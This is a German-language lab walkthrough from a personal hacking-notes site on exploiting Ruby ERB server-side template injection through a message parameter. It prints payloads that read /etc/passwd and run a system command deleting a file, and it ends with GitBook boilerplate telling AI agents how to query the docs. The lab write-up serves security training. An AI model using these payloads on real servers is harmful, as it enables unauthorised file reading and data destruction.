> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/ssti/basic-ruby-server-side-template-injection.md).

# Grundlegende serverseitige Ruby-Template-Injektion

### Einfache serverseitige Template-Injection

Die Anwendung verwendet ERB-Templates ungesichert, wodurch sie anfällig für eine **Server-Side Template Injection (SSTI)**./ Das Ziel ist es, beliebigen Code auszuführen, um **Datei löschen** `morale.txt` befindet sich in Carlos' Home:/ `/home/carlos/morale.txt`.

#### 1. Identifizierung des verwundbaren Parameters

Wir finden einen `Nachricht` Parameter in der Anwendung, der **unsere Eingabe wiedergibt** direkt auf der Seite. / Dieses Feld wird verwendet, um ERB-Code einzuschleusen.

<figure><img src="/files/2fa3117d341a735196ac0999468af63d22b1df49" alt=""><figcaption></figcaption></figure>

#### 2. Überprüfung der Codeausführung (Test mit 7/\*7)

Ein einfacher Ruby-Ausdruck wird eingeschleust, um die SSTI zu bestätigen:

```ruby
<%= 7*7 %>
```

Wenn die Schwachstelle vorhanden ist, wird die Ausgabe Folgendes anzeigen:

<figure><img src="/files/c8dbd8b7086feaecde639aa13fc48d3a742b2d6a" alt="" width="563"><figcaption></figcaption></figure>

Dies beweist, dass der Ruby-Ausdruck im serverseitigen Template ausgewertet wird.

#### 3. Eine sensible Datei lesen: `/etc/passwd`

Sobald die Ausführung bestätigt ist, versuchen Sie, eine Systemdatei zu lesen, um den Zugriff auf das Dateisystem zu verifizieren:

```ruby
<%= File.open('/etc/passwd').read %>
```

<figure><img src="/files/d7f2dcc7a1a9a914fec468be13fc67f061e0c589" alt=""><figcaption></figcaption></figure>

Der Inhalt von `/etc/passwd` wird dann in der Antwort zurückgegeben, was bestätigt, dass Sie Dateien auf dem Server lesen können.

#### 4. Carlos löschen `morale.txt` Datei

Um das Lab abzuschließen, führen Sie einen Systembefehl aus, um die angeforderte Datei zu löschen:

```ruby
<%= system('rm /home/carlos/morale.txt') %>
```

Diese Injection startet den `rm` serverseitigen Befehl und entfernt die `morale.txt` Datei in der `/home/carlos/` Verzeichnis.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/ssti/basic-ruby-server-side-template-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
